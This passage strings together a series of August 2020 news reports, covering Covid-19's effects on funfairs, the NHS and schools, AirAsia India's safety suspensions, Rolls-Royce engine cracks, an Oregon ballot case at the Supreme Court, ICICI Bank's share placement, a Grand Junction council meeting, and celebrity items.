5343 per month, while the ride sat in the yard. Which is a position that many funfair owners will find themselves in if the government does not step in and freeze loans until next summer. Killian adds that by the time next march comes around, many funfair and circus owners will have been shuttered for 18 months. He believes the fallout from Covid-19 could set back the industry by at least five years. In our business a lot of events will never run again. We need help from the government, we cannot be the forgotten sector. The events industry employs thousands of people over the summer. Aviation regulator DGCA has suspended two senior executives of AirAsia India -- Head of Operations Manish Uppal and Head of Flight Safety Mukesh Nema -- for a period of three months after former pilot Gaurav Taneja flagged safety violation concerns. In June this year, AirAsia India's former pilot Gaurav Taneja -- who runs a YouTube channel called Flying Beast -- was fired by AirAsia after he publicly alleged violations of safety norms by the low-cost airline. The suspension of the two executives was carried out a week ago, a senior official said on August 11. Also Read: Who is Gaurav Taneja, the whistleblower pilot suspended by AirAsia India? "We had issued a show-cause notice to two AirAsia India executives -- Head of Operations Manish Uppal and Head of Flight Safety Mukesh Nema -- in June only. It has been decided now to suspend them for a period of three months," the Directorate General of Civil Aviation (DGCA) official said. AirAsia India did not respond to PTI's request for a statement on this matter. Captain Gaurav Taneja, a popular YouTuber, tweeted on June 14 that he has been suspended by AirAsia India "for standing up for safe operations of an aircraft and its passengers". On June 15, he posted a detailed video on YouTube titled "Reasons behind suspension from my pilot job". Taneja alleged in the video that the airline has asked its pilots to do 98 per cent of landings in "Flap 3" mode, which allows it to save fuel. He said if a pilot does not do 98 per cent of landings in "Flap 3" mode, the airline considers it a violation of its standard operating procedure (SOP). Flaps are part of wings of an aircraft and they are engaged to create a drag during a landing or a take-off. Taneja gave the example of the Imphal airport, where the plane descends more steeply as compared to other airports when approaching for landing. He said when an aircraft is coming down steeply, it needs to have a drag so that it remains slow, and in these circumstances a pilot has to do a "Flap full" landing. In order to achieve targets, what would people do? They will do Flap 3 landings without giving consideration whether it is safe or unsafe. This directly impacts the passenger safety," he had claimed in his YouTube video. "If something happens during a Flap 3 landing, then the question would be asked to the pilot if he or she cares more about saving fuel or 180 passengers'' lives, Taneja had said. On June 15, the Directorate General of Civil Aviation (DGCA) said on Twitter that it had taken note of the concerns raised by some stakeholders "against a particular airline and its approach to safety". "DGCA has already started an investigation into the issues flagged and shall take appropriate action based on the outcome of the said investigation," it added. Senior DGCA officials had confirmed on June 15 itself that AirAsia India was under investigation after Taneja's allegations. Boris Johnson has announced 300million of extra funding for NHS hospitals to Covid-proof their facilities and get services up and running in time for winter. The Prime Minister said it is essential that anyone who needs emergency treatment should go to hospital and they can be confident they would not catch coronavirus. 'Thanks to the hard work and tireless efforts of NHS staff throughout the pandemic, our A&Es have remained open for the public,' he said. 'It's vital that those who need emergency treatment this winter access it, and for those who remain concerned about visiting hospitals, let me assure you that the NHS has measures in place to keep people safe.' His comments come after it was revealed that three in 10 adults would not feel comfortable attending A&E for urgent care if they needed it. The survey, done by the Office for National Statistics, found that a fifth of respondents (21 per cent) would feel uncomfortable attending. Another eight per cent admitted they would be 'very uncomfortable', according to the results of the poll. And 14 per cent said they wouldn't feel comfortable seeing any healthcare professional in person. Boris Johnson has urged Brits not to shun A&E as he announced a 300million upgrade of hospital facilities The Prime Minister visits Hereford County Hospital today as he announces 300m will go towards hospitals to Covid-proof their facilities Mr Johnson speaks to staff at Hereford County Hospital today as he announces the new hospital funding Which 10 NHS trusts will get the most money? 1.) Southampton NHS Foundation Trust - 9million 2.) University Hospitals Birmingham NHS Foundation Trust - 6,997,000 3.) Barts Health NHS Trust - 6,410,000 4.) Epsom And St Helier University Hospitals NHS Trust - 6,100,000 5.) Lancashire Teaching Hospitals NHS Foundation Trust - 6,054,000 6.) Leeds Teaching Hospitals NHS Trust - 5,389,000 7.) Bradford Teaching Hospitals NHS Foundation Trust - 4,888,000 8.) Manchester University NHS Foundation Trust - 4,861,000 9.) Mid And South Essex NHS Foundation Trust - 4,838,000 10.) Royal Berkshire NHS Foundation Trust - 4,520,000 Advertisement Mr Johnson said the additional 300million would enable hospitals to maintain essential services and reduce the risk of Covid-19 infection during the coming months. The funding comes from a 1.5billion capital building allocation for the NHS set out by Mr Johnson in June. Trusts across the Midlands will see a whopping 50million in funding while ones across the North East and Yorkshire will see 53million. The single trust to receive the most money is the University Hospital Southampton NHS Foundation Trust with a staggering 9million. Hospitals could use the new funding to expand waiting areas in A&Es and increase the number of treatment cubicles available which would help to boost capacity and reduce overcrowding. The reduction in overcrowding would then help infection control measures. Hospitals could also increase the amount of same day emergency care and improve patient flow to help the NHS respond to winter pressures and the risks of a second wave. Some 117 trusts will benefit from the additional funding, including: Southampton which will see 9million in funding, University Hospitals Birmingham NHS Foundation Trust which will get 7million and Barts Health NHS Trust which will get 6.4million. Mother-of-three, 36, is diagnosed with incurable cancer after she held off going to the doctor for a stomach ache during lockdown because she 'didn't want to waste their time' Johanna William, 36, from Burton, Staffordshire, suffered abdomen pains in April but did not see her GP because she knew the NHS was 'overwhelmed' by the coronavirus and 'didn't want to waste their time'. A CT scan in early June confirmed the chef had two tumours in her adrenal gland spreading to her liver, kidney and spleen - stage four incurable cancer. Ms William said: 'I didn't want to waste the doctors' time for a tummy ache, the NHS had so much going on. 'In June the pain got so bad I went to the hospital. Originally they thought they were two cysts but after the radiologists had a look at them they confirmed they were two tumours. 'I had to wait a week to hear back from the oncology specialist- it was a very long week. 'I was in shock, it never crossed my mind, a stomach ache could have been cancer. I was thinking I might have eaten the wrong thing or maybe I have an intolerance to dairy or something like that.' Advertisement Officials said the projects would all be completed by the start of 2021 so hospitals would benefit from the upgrades during the peak months of winter. Mr Johnson said: 'These upgrades will help our fantastic NHS prepare for the winter months, helping them to deliver essential services and reduce the risk of coronavirus infections.' It comes after new government figures revealed that lockdown killed two people for every three that died of coronavirus. It is thought that as many as 16,000 people died because they didn't get medical care between March 23 and May 1. In the same period, 25,000 Britons died of the virus. The new figures were presented to the Government's Scientific Advisory Group for Emergencies (Sage) in the middle of July. They were calculated by the Department of Health, the Office for National Statistics (ONS), the Government Actuary's Department and the Home Office. The 16,000 people who died included 6,000 who didn't go to A&E during lockdown because they feared catching the virus. Another 10,000 people are thought to have died in care homes after early discharge from hospital and a lack of access to care. A further 26,000 people could die by next month because of the restrictions, while in total 81,500 people could lose their lives in the next 50 years because of the virus. This would be through waiting longer for non-urgent care and due to the impact of the recession caused by the pandemic. It comes after a district nurse warned that people suffering from treatable cancers will end up dying because of Government 'scaremongering' and an over-cautious reduction of NHS services. In more bad news, the next five years could see 1,400 people die because they were diagnosed with cancer too late. An earlier report by the same team suggested deaths caused by delayed care amid the virus they could be as high as 185,000. Members of staff speak with the Prime Minister during his visit to Hereford County Hospital today The Prime Minister said it was essential that people should attend hospitals during a visit to Hereford Country Hospital today Mr Johnson's comments come after it was revealed that three in 10 adults would not feel comfortable attending A&E for urgent care The Conservative leader (pictured at Hereford Country Hospital) today said it was essential that anyone who needs emergency treatment should go to hospital The Prime Minister wears protective clothing during a visit to Hereford Country Hospital today Number of NHS patients admitted for routine ops drops 82 per cent in a year: The number of patients admitted plummeted to 54,550 in May this year, the lowest ever one record and a drop from 295,881 in May 2019 NHS figures show that 106,535 urgent cancer referrals were made by GPs in England in May 2020, 47 per cent down from 200,599 in May 2019 The Government's report, published in April but largely overlooked until now, found the great majority of the deaths would be attributed to an extended wait for treatment in the longer term. But up to 25,000 deaths would have come in the first six months because of healthcare delays, according to experts at the Department of Health and Social Care, Office for National Statistics, Government Actuary's Department and the Home Office. 5,000 HEART ATTACK SUFFERERS 'MISSED OUT ON LIFE-SAVING CARE BECAUSE OF COVID-19' Five-thousands heart attack sufferers in England missed out on life-saving hospital treatment due to the Covid-19 pandemic, a study claimed just weeks ago. Researchers analysed NHS hospital data to show that around the peak of the crisis, in late March, admissions were 35 per cent lower than usual. Up to a quarter of people who suffered the most severe heart attack a complete blockage of an artery did not seek help, figures suggest. Admissions are now picking back up again because the coronavirus is fizzling out, according to researchers at the University of Oxford. But patient confidence is nowhere near pre-Covid levels as Brits still fear catching the coronavirus if they go to hospital. Experts warned the risk of death from delaying heart attack treatment is higher than picking up Covid-19 at hospital. Advertisement The figures equate to nearly one million years of life lost unnecessarily, in the worst-case scenario outlined in the report. And the University of Oxford discovered just weeks ago that 5,000 fewer heart attack patients had attended hospital between March and May. The report said: 'Suspending "non-urgent" care is expected to have a short-term health impact in itself, since patients not receiving treatment will have reduced quality of life whilst not receiving these healthcare services. 'In the longer term their condition is likely to deteriorate without treatment and some could die earlier than otherwise. 'Cutting screening, prevention services and primary care services will mean that life-threatening diseases will go undetected and hence untreated, resulting in more avoidable deaths.' It added that the longer services are de-prioritised, the bigger the impact it will have on the nation's health. The estimates were based on 75 per cent of elective care being cancelled over six months without a swift return to normality. In more positive news, it is estimated 2,500 deaths could have been prevented because of the lockdown. While people were restricted, they led healthier lifestyles, while there were fewer infectious diseases in children, a fall in air pollution and a decrease in road deaths The new report is the latest to highlight the impact the lockdown has had on Britons, amid suggestions of another national lockdown in the winter during a potential second wave. Medical organisations have consistently warned of the long term dangers of lockdown and of focusing so much of the NHS on coronavirus. Professor Neil Mortensen, the president of the Royal College of Surgeons of England, warned that the health service 'must never again be a coronavirus-only service'. He told the Telegraph: 'We have to deal first with the most clinically urgent patients, and then as soon as possible with those who have been waiting the longest. 'The period through August and September is vitally important in making progress before routine winter pressures emerge. The coronavirus reproduction rate could now be as high as one right across the UK after rising slightly in the last week, the Government's scientific advisers warned today amid fears the virus is making a resurgence. SAGE estimates the R value - the average number of people each Covid-19 patient infects - is now between 0.8 and 1.0, up from last week's prediction that it was hovering around 0.8 and 0.9. Experts say the R needs to stay below one or Governments risk losing control of the epidemic and the virus could spiral back out of control. England as a whole has remained the same at 0.8 to 1.0, but the R rose in Scotland (0.6 and 1.0), Wales (0.7 and 1.0), Northern Ireland (0.8 and 1.8), London (0.8 and 1.1), the North East and Yorkshire (0.8 and 1.0), and in the Midlands (0.8 and 1.0). The East of England is the only region in the entire UK where scientists can say with certainty that the R is below one. SAGE said it was now 'starting to see early indications that' coronavirus was on the rise, which has fuelled fears that a second wave of the virus is making its way through the country. But it warned that when transmission is as low as it currently is in the UK - less than 1,000 people are being diagnosed every day - the R is more volatile. This means it can be skewed upwards by local clusters of infections, which has been seen in Aberdeen in Scotland and in swathes of the North West of England. NHS MUST NOT SHUT DOWN NORMAL CARE THIS WINTER, TOP MEDICS SAY Tens of thousands of patients may die if the NHS shuts down normal care during a second coronavirus wave, leading medics warned today. Health service bosses are being urged not to leave non-virus patients 'stranded and in pain' once again after cancelling millions of appointments during the first epidemic. In early March the NHS told hospitals to scrap as many operations as possible and turf out patients on their wards to make way for an influx of Covid-19 patients. The move was successful and hospitals were not overwhelmed by the effects of the virus. But cancer charities fear tens of thousands more patients will die in the next year because they had their tumours diagnosed too late or missed completely. Official figures show that 12,000 more people than average died in England during lockdown from illnesses unrelated to Covid, including heart attacks and strokes. Professor Neil Mortensen, president of the Royal College of Surgeons of England, said the NHS 'must never again be a Covid-only service'. He told the Guardian: 'There is a duty to the thousands of patients waiting in need and in pain to make sure they can be treated.' Dr Chaand Nagpaul, chair of council at the British Medical Association (BMA), warned patients who need urgent care should never be left 'stranded' again. Advertisement Despite the rise, separate Government data today suggested cases could actually be on their way down again after weeks of being on the up. The Office for National Statistics (ONS), which tracks the size of the outbreak by swabbing thousands of people, now believes there are 3,700 people in England getting infected with Covid-19 each day. It is 12 per cent down on the 4,200 made in the government-run agency's estimate last week, when they warned there was 'enough evidence' to prove cases were spiralling. The spike in cases prompted Boris Johnson to declare he was 'squeezing the brake pedal' on easing the coronavirus lockdown. The ONS estimated 28,300 people in England had the coronavirus between July 27 and August 2 - the equivalent of one in 1,900 people. In comparison, last week's rate was one in 1,500. There has been some confusion about whether the virus is actually resurging, with prominent scientists warning that data was merely reflecting an increase in testing in areas that have been hit by flare-ups of the disease. Boris Johnson's 300million pledge comes on top of a 3billion cash injection for the NHS in England - with extra funding also for Scotland, Wales and Northern Ireland - announced last month to help it to cope with the expected winter pressures. That funding has been earmarked to enable the NHS to continue to use the extra hospital capacity acquired from the independent sector, maintain Nightingale hospitals until the end of March and expand its flu vaccination programme. Dr Nick Scriven, immediate past president of the Society for Acute Medicine, said while any additional funding was helpful, there were limits to what it could achieve. 'The money is welcome but how do we think we can actually implement what would be building works in existing units whilst remaining safe and efficient - all before any rise in either Covid or non-Covid patients which, if like last winter, may start before the end of October?' he said. The move comes amid reports that scientists at Public Health England (PHE) have warned secondary school pupils are as likely to transmit coronavirus as easily as adults. Education Secretary Gavin Williamson has said PHE findings due to be published later this year showed there was little risk from the Government's plans to reopen schools in England in September. A PHE spokesperson said: 'PHE analysis of recorded cases and outbreaks in educational settings in England is currently undergoing pre-publication verification and review, and will be published in due course. 'It appears to show that SARS-CoV-2 infections and outbreaks were uncommon in educational settings during the first month after the easing of national lockdown in England.' 'Additionally, a nationwide surveillance programme examining antibody prevalence in schoolchildren (sKIDs), is being analysed and should be published in the coming weeks. These publications combined will give the most complete picture of the landscape of Covid-19 in educational settings that we have seen to date.' Rolls-Royce's reputation has been dealt a further blow after it found cracks inside another set of engines. It discovered the problems with a small number of its Trent XWB-84s, which power the Airbus A350 planes, during routine inspections carried out last month. It is expected issues will cost Rolls up to 50million to put right. Rolls-Royce discovered the problems with a small number of its Trent XWB-84s, which power the Airbus A350 planes (pictured), during routine inspections carried out last month The company said the 'indications of wear' have not caused any in-flight issues and will not disrupt things for customers. But the news has worrying echoes of problems with its Trent 1000 engines, which are used in Boeing's 787 Dreamliner that forced the planes using them to be grounded so that repairs could be carried out. The bill for that has ballooned to 2.4billion. And it comes as Rolls has been hit hard by the coronavirus, which has grounded flights all over the world, starving it of income it usually makes from servicing plane engines. The company is axing 9,000 staff out of its 52,000-strong workforce, and mulling ways to raise more cash. About 100 Trent XWBs have been in operation for four or more years and due for their first major service. Rolls is understood to have found cracks in 20 engines. Around 650 Trent XWBs are in service on A350s, flown by airlines such as Qatar Airways, Cathay Pacific and Lufthansa. Derby-based Rolls-Royce has been hammered by the pandemic and is undertaking its third major restructuring in six years. Reports are rife that the company, whose shares have tumbled 60 per cent this year, is hoping to raise 1billion by selling its Spanish arm ITP Aero and 1.5billion by selling new shares. It would find it hard to take out new loans because all three major credit ratings agencies Moody's, S&P and Fitch have downgraded its credit rating to 'junk' status. Good science takes time. This has always been clear to those of us doing health research less so to the general public. In the pursuit of treatments for COVID-19, we need to manage expectations about whats not just possible, but also desirable. Finding a vaccine is difficult work, but its not like finding a needle in a haystack. Scientists start from a place of knowledge. Researchers around the world are already working on more than 150 possible vaccines, with 22 in human trials. There are also thousands of previously developed pharmaceuticals in testing. A vaccine for COVID-19 is quite likely to arrive faster than any before it. Yet despite all that, we need to remember that it will take many months, likely years. And, frankly, it should. Why so long? Because we need time to do it right, no matter what incentives, resources and pressures are applied. Ensuring safety is especially critical for older people, who are more susceptible to COVID-19 and other health issues. But it matters to us all. A COVID-19 vaccine will be administered rapidly to billions of people with a vast range of genetic, health and environmental circumstances. Testing these populations and subpopulations will require immense planning and coordination. It cant all be done in parallel; some new results will necessitate new investigations. As Mercks CEO Ken Frazier noted recently in an interview, we dont want to rush the vaccine before weve done rigorous science. Weve seen in the recent past with the swine flu, for example, that that vaccine did more harm than good. We dont have a great history of introducing vaccines quickly in the middle of a pandemic. We want to keep that in mind. Good science takes time. Meanwhile, people and governments have already shown that theyre willing to take shortcuts. Individuals have begged, borrowed and stolen in pursuit of personal protection equipment, medicine and other household essentials, from hand sanitizer to toilet paper. Governments have bid up prices, invoked emergency powers and practically hijacked shipments of gear to supply their citizens. Theyve spent billions for access to medicines that dont exist yet. Story continues With so much hanging in the balance, people are trafficking in information instead. Its tempting to simplify, to overclaim, to speak beyond ones expertise. There has been a surge in unreviewed research. Early publication makes data and lines of inquiry available to other researchers faster, but it also facilitates misinformation, premature reporting and social-media speculation. In January, a preprint describing a study on COVID-19's origins circulated on Twitter and was covered by news media before attracting scientific criticism and a separate research paper devoted to debunking its findings. Even the medical journals bastions of peer-reviewed science and notoriously picky in what they publish have come under fire for publishing studies that needed to be walked back. The Lancet and the New England Journal of Medicine, august journals with nearly 400 years of history between them, both recently found themselves issuing coronavirus retractions on the same day. The New York Times reported that the peer-review process favored by these and other journals has been condensed from months to days. Social scientists have also been rushing to publish amid the pandemic, to their peril. Again, many of their COVID-19 papers are being rushed into print written and reviewed on timelines more appropriate for daily journalism than the intended permanence of scientific literature. I was recently asked to review three such papers for a scientific journal, University of Chicago professor Anthony Fowler wrote recently in an opinion piece for Bloomberg. Although an editor might normally give me six weeks to complete one review, I was asked to complete three reviews in just one week. And these are the pitfalls for well-intentioned claims. I try not to think about ones with less pure motives. But they do exist. Its also important to distinguish between the science itself and the organizational obstacles that new research needs to navigate. The irony there is that there are more legitimate ways than ever to streamline science through collaboration. Artificial intelligence. Tailored drug discovery. Digital tools like cloud storage, teleconferencing and Slack. Endless avenues for creating, analyzing and sharing big data. These are all in our favor when it comes to beating COVID-19. But when it comes to the actual research and trials, speed cannot be the driving priority. My own company is conducting drug trials right now. Not for COVID-19, but for pain treatment. Of course, we want to take our treatment to market with all due speed. But our trials cant be rushed without creating unacceptable risks. And neither can a COVID-19 vaccine, even though a global pandemic feels like it should be different. We all want a vaccine as quickly as possible, and we should be everything prudent to make it happen. But it has to work, and it has to be safe, for as many people as possible. No matter what its for, good science takes time. ABOUT THE WRITER Dr. John L. Wallace is founder of the Inflammation Research Network at the University of Calgary and chief scientific officer at Antibe Therapeutics. 2020 Chicago Tribune Visit the Chicago Tribune at www.chicagotribune.com Distributed by Tribune Content Agency, LLC. WASHINGTON - The Supreme Court on Tuesday once again put on hold a judge's order that relaxed election procedures because of the coronavirus pandemic, and the result will keep a referendum on partisan gerrymandering off the November ballot in Oregon. The court's brief order provided no reasoning, and the vote was not announced. Justices Ruth Bader Ginsburg and Sonia Sotomayor noted their dissent. But the action was pretty much in line with similar cases from Alabama, Idaho, Wisconsin and elsewhere in which the court has put on hold court orders that provided pandemic-related relief over the objections of state election officials. The court has said it disfavors judicial action that comes too close to an election, and defers to local control. In this case, it was Oregon's Democratic leaders who objected when a federal judge eased the requirements for a group called People Not Politicians. It wanted to put on the ballot a measure turning over redistricting decisions to an independent commission rather than the Oregon legislature. The group said it was well on the way to getting the needed signatures when Oregon's pandemic-related restrictions made petition drives virtually impossible. U.S. District Judge Michael McShane in Eugene agreed that it was because of the restrictions that the group fell short, and ordered the state to reduce the number of signatures needed to place the measure on the ballot. The state's Republican secretary of state, Beverly Clarno, appeared ready to accept the decision, but the state's Democratic leaders stepped in to object. "Despite the changes to our daily lives related to the pandemic, the signature and deadline requirements have not changed," Democratic Attorney General Ellen Rosenblum wrote in a brief to the Supreme Court. "It might mean that getting an initiative on the ballot in a particular year is extraordinarily challenging, owing to a pandemic or other natural disaster. But that does not violate the First Amendment, because there is no right to legislate by initiative in the first place," she wrote. The group and its supporters told the justices that agreeing to the state's request would deny Oregon voters "a once-in-a-decade opportunity to decide whether to reform their state's redistricting process." When the Supreme Court last year decided that federal courts had no role to play in disputes over gerrymandering, it said one solution was for voters to take matters into their own hands and force their states to change redistricting procedures. The Oregon group was modeling its effort on a successful referendum in Michigan, one of the states to take power away from legislators. One issue in the case was whether Rosenblum had the power to intervene in the suit, since it was directed at Clarno and since she had decided not to appeal the lower court's decision. Justice Elena Kagan, who handles emergency requests from the U.S. Court of Appeal for the 9th Circuit, called for 100-word supplemental briefs on the question. Rosenblum said Clarno had consented, even if grudgingly: "The secretary's consent to the appearance should not be taken as her personal agreement as a policy matter with the stay application. The secretary did not request an appeal; she has deferred to the attorney general's litigation decisions as the state's chief legal officer." The group said that argues against the attorney general having legal standing in the case. "Because the secretary does not want to proceed, the attorney general pursues this appeal for her own interests," the groups told the court. The case is Clarno v. People Not Politicians. Shares of India's second-largest private sector lender ICICI Bank gained almost 3% on Tuesday after the bank launched its Qualified Institutional Placement (QIP), setting the floor price at Rs 351.36 per equity share. The floor price for qualified institutional placement of shares is at a discount of over 3% to Monday's close of Rs 363.60 on the BSE, as per the SEBI formula. The equity offering by ICICI bank will be the fourth in the last two months, in which a slew of lenders including HDFC, Axis Bank and Kotak Mahindra Bank have raised capital. Meanwhile, IndiGo's parent company InterGlobe Aviation has also declared that it will raise up to Rs 4,000 crore through a qualified institutional placement (QIP). On the equity front, ICICI Bank shares touched an intraday high of Rs 374.15, rising 2.9% on BSE, following the news. On Monday, ICICI Bank scrip closed at Rs 364.20 on BSE, up 1.75% from the previous close. The stock has risen 2.03% in the last 2 days. ICICI Bank shares have risen 1.54% in the last one month. ICICI Bank stock price trades higher than 5, 20, 50 and 100-day but lower than 200-day moving averages. Market-cap of the private lender stood at Rs 2,36,871.65 crore as of today's session. A decision on the final issue price and allotment will be taken on August 14. "A meeting of the issuance committee of Board of Directors of the Bank is scheduled to be held on Friday, August 14, 2020, to, inter alia, consider and determine the issue price for the equity shares to be allotted to qualified institutional buyers, pursuant to the Issue," ICICI Bank said in a press release. On July 8, 2020, the private lender had made public its board's decision to raise up to Rs 15,000 crore in core capital through a variety of routes. Top local institutional investors that are also set to buy into ICICI Bank shares include SBI Mutual Fund, Aditya Birla, and Kotak Mahindra Mutual Fund. Bofa Securities, Morgan Stanley, JPMorgan, JM Financial, ICICI Securities and Citigroup are reportedly among the book runners to the issue. Commenting on ICICI Bank- QIP, Jaikishan Parmar, Sr. Equity Research Analyst, Angel Broking said," We believe this fundraising in this environment would be positive for ICICI bank. At base price Tier I to increase approx. 200bps, net worth to gain 12.6%, and Book value to increase by 5.8%. In uncertain times adequate capital adequacy (CAR) will provide comfort to investors. Currently, ICICI bank trades 1.1x FY22E ABV which is a lower valuation compared to the historical average. Lower valuation, increase in CAR and healthy performance by Insurance and AMC Business would be positive for ICICI Bank." Rupee gains 8 paise to 74.82 amid weak dollar, positive equities HDFC share gains nearly 3% after lender raises Rs 3,693 cr through bond sale Titan Company share top loser on Sensex, Nifty after Q1 loss A group of racial justice activists that marched from Lincoln Park to Grand Junction City Hall on Wednesday were met by a large group of counter-demonstrators. The activists spoke about further changes they would like to see, while many of the other speakers thanked the council for its work and expressed support for local law enforcement. Several dozen gathered outside the building waving American flags, some carrying firearms. Michael Anton addressed the council with a number of concerns and re-ignited the issue of a billboard that recently went up in Grand Junction, thanking some city council members while omitting others. Anton, a member of the Western Colorado Business Alliance, which took out the ad, again thanked the council members, leaving out council members Anna Stout and Chuck McDaniel. An individual member of the City Council seems to be driven to cause a lot of grief and heartache in the valley, Anton said, adding later that were willing to take back our City Council. Anton also voiced displeasure with activists in the community and urged council members to dismiss them. This RAW. This BLM. They need to go away, Anton said. Theyre not Grand Junction and you need to send them down the road because, believe me, theres a lot more of me here in this valley than there is of you. I guarantee it and it will not be a pretty day if that comes forth. Melinda Brown said she had come to the meeting Wednesday because she had heard Black Lives Matter and Antifa would be there. She thanked the City Council for their work. However, she said when she met two of the demonstrators who had marched, she learned that they were simply there to be heard. I sat in the atrium while you guys took care of business and I had quite a conversation with the Black lady and the Black tall gentlemen, Brown said. They just want to be understood. Matt Crowe, a Palisade High School teacher, said he was speaking on behalf of Right and Wrong (RAW), an activist organization that emerged in Grand Junction this summer to advocate for racial justice. Im pleased to see a lot of the opposition turn out. I think it shows were having an effect, Crowe said, drawing murmurs from some in the audience. The audience interjection prompted Mayor Duke Wortmann to issue a warning regarding decorum. This is whats gone wrong the last couple times and were going to stop it right now, Wortmann said. Crowe said he wanted to address some of the other residents who spoke about violence elsewhere in the country. Im here to say that Im a peaceful person and the people I work with in RAW are also peaceful people, Crowe said. Really what weve been petitioning this body to do is to hear us. Crowe, who is a longtime resident of Mesa County and Grand Junction, went on to speak about experiences he had with people of color who were different from him and how their life experiences were different. He asked that the council pursue policies for tax incentives to minority-owned businesses and funding for the Latino Chamber of Commerce. Following the public comment period, Stout addressed the work of a task force that had been formed to address biases within the community. She said it was a community- wide effort, mentioning the inclusion of law enforcement and the school district. She also said it was not simply about race or racism, but would look at many types of biases like difficulties faced by individuals with disabilities. Stout said one of the things she noticed listening to comments that many touched on similar themes. If we were to close our eyes and listen to many of the messages of our citizens coming up here, the messages are very similar, Stout said. Wanting to listen to each other, wanting to understand each other and thats I think incredibly encouraging. The next meeting of that task force will take place Thursday, August 13, at 6 p.m. at the Fruita Community Center. Source: Xinhua| 2020-08-11 18:59:35|Editor: huaxia Video Player Close BAGHDAD, Aug. 11 (Xinhua) -- A roadside bomb struck a convoy of trucks belonging to the U.S.-led coalition forces near the Iraqi capital Baghdad, the Iraqi military said Tuesday. The blast took place in Taji area, some 20 km north of Baghdad, and resulted in the burning of a container carried on one of the convoy's trucks, the media office of the Iraqi Joint Operations Command said in a brief statement. No group has so far claimed responsibility for the attack, but unidentified militant groups have frequently targeted U.S.-led coalition convoys, which usually travel from neighboring Kuwait to the coalition bases in central and northern Iraq. The attacks came as the Iraqi-U.S. relations have witnessed a tension since Jan. 3 when a U.S. drone struck a convoy at Baghdad airport, which killed Qassem Soleimani, former commander of the Quds Force of Iran's Islamic Revolution Guards Corps, and Abu Mahdi al-Muhandis, deputy chief of Iraq's paramilitary Hashd Shaabi forces. More than 5,000 U.S. troops have been deployed in Iraq to support the Iraqi forces in the battles against the Islamic State militants, mainly providing training and advising to the Iraqi forces. The troops are part of the U.S.-led coalition that has also been conducting air raids against IS targets in both Iraq and Syria. Enditem Actor Sanjay Dutt was on August 11 (Tuesday) diagnosed with lung cancer and will fly to the US for treatment. According to media reports, Dutt has been diagnosed with third stage (Stage-3) lung cancer. According to sources, he is leaving for the US on Wednesday itself. When he was recently hospitalised, he was diagnosed with the ailment. He was discharged from the hospital after two days. Earlier in the day, Dutt had said that he has taken a short break from work for medical treatment. In a social media post, he had said, "Hi, friends. I am taking a short break from work for some medical treatment. My family and friends are with me and I urge my well-wishers not to worry or unnecessarily speculate. With your love and good wishes, I will be back soon." The 61-year-old actor was recently admitted to Mumbai's Lilavati Hospital after he complained of breathlessness and uneasiness. He was also tested for coronavirus, the report of which was negative. Sanjay Dutt stayed in the hospital over the weekend and returned home on August 10 afternoon. On August 8 night, shortly after being hospitalised, he tweeted, "Just wanted to assure everyone that I'm doing well. I'm currently under medical observation and my COVID-19 report is negative. With the help and care of the doctors, nurses and staff at Lilavati hospital, I should be home in a day or two. Thank you for your well wishes and blessings." On the work front, Sanjay Dutt has several movies in the pipeline, including 'Torbaaz', 'KGF: Chapter 2', 'Sadak 2', 'Bhuj: The Pride Of India' and 'Shamshera'. 'Sadak 2', the sequel to the 1991 hit of the same name, is his upcoming release. The film reunites Sanjay Dutt with Pooja Bhatt and filmmaker Mahesh Bhatt and also casts Alia Bhatt and Aditya Roy Kapur in pivotal roles. 'Sadak 2' is slated to release on August 28. They've been dating since August 2018. And it looks like Tyra Banks and her Canadian businessman beau Louis Belanger-Martin might be about to take their relationship to the next step, based on photos obtained by DailyMail.com. In the snaps, the 46-year-old was spotted wearing a huge diamond on her ring finger as she strolled around Santa Monica, CA with her man. Put a ring on it? Tyra Banks and her Canadian businessman beau Louis Belanger-Martin might be about to take their relationship to the next step, based on photos obtained by DailyMail.com DailMail.com has reached out to Tyra's reps for confirmation of her relationship status. The model dressed down for the outing, pairing sweatpants with a Drexel University hoodie. Tyra covered her wavy tresses with a green beanie and her mouth and nose with a black face mask. Belanger-Martin trailed the beauty by half a step and also went casual for their walk. The businessman shares a 12-year-old son with his ex-wife Valerie Martin Scraire, while Tyra has a three-year-old son named York with her ex, Norwegian photographer Erik Asla. Nice rock! In the snaps, the 46-year-old was spotted wearing a huge diamond ring on her wedding finger as she strolled around Santa Monica, CA with her man Casual: The model dressed down for the outing, pairing sweatpants with a Drexel University hoodie The look: Tyra covered her wavy tresses with a green beanie and her mouth and nose with a black face mask Meanwhile, Banks has some very big shoes to fill when she hosts season 29 of Dancing With The Stars after veterans Tom Bergeron and Erin Andrews were let go. The Vogue supermodel will be on her own as she does not have a co-host to bounce jokes off of. And this week the beauty admitted to UsWeekly that she is certainly feeling the 'pressure.' Tyra said to Us: 'My goal is for a 12-year-old to be sitting on the couch with their parents and grandparents and everybody can relate personally to what they see on that screen. 'That's a hint. Not giving up the goods. You'll have to tune in!' New role: Meanwhile, Banks has some very big shoes to fill when she hosts season 29 of Dancing With The Stars after veterans Tom Bergeron and Erin Andrews were let go It has been seven years since the central air conditioning system worked at the New York City middle school where Lisa Fitzgerald OConnor teaches. As a new school year approaches amid the coronavirus pandemic, she and her colleagues are threatening not to return unless its repaired. Her classroom has a window air conditioning unit, but she fears the stagnant air will increase the chances that an infected student could spread the virus. Window units just arent going to cut it. We dont want to stay cool, we just want the air to flow properly, said OConnor, a science teacher who has worked at the Patria Mirabal School in Manhattan since 2009. We are really super stressed out about it. Schools around the country are facing similar problems as they plan or contemplate reopening this fall, dealing with aging air conditioning, heating and circulation systems that dont work well or at all because maintenance and replacement were deferred due to tight budgets. Concerns about school infrastructure are adding momentum to plans in some districts, even in colder climates, to take classes outdoors for the sake of student and teacher health. Nationwide, an estimated 41% of school districts need to update or replace their heating, ventilation and cooling systems in at least half their schools, according to a federal report issued in June. Rep. Bobby Scott, D-Va., chairman of the House Education committee, called on the federal government to help districts improve their systems, citing the Centers for Disease Control and Prevention calling ventilation an important part of coronavirus spread at schools. Ventilation is key and you dont fix that for free, Scott said. There is no evidence that the disease can spread through ventilation systems from one classroom to the next, according to Dr. Edward Nardell, a Harvard Medical School professor who specializes in airborne diseases. The danger said, is from ineffective systems that dont remove floating viruses and let them linger in classrooms after they are expelled in an infected persons breath, sneeze or cough, Nardell said. Most schools are designed for comfort, not for infection control. So there is a danger that if you put 20 kids in a room, that if one of them has asymptomatic COVID and is infectious, you now have 19 more kids who are exposed, Nardell said. Healthy children almost always recover from COVID, if they become ill at all, but they can pass the disease to teachers, parents and other adults. Nardell believes schools should consider installing ultraviolet lights along 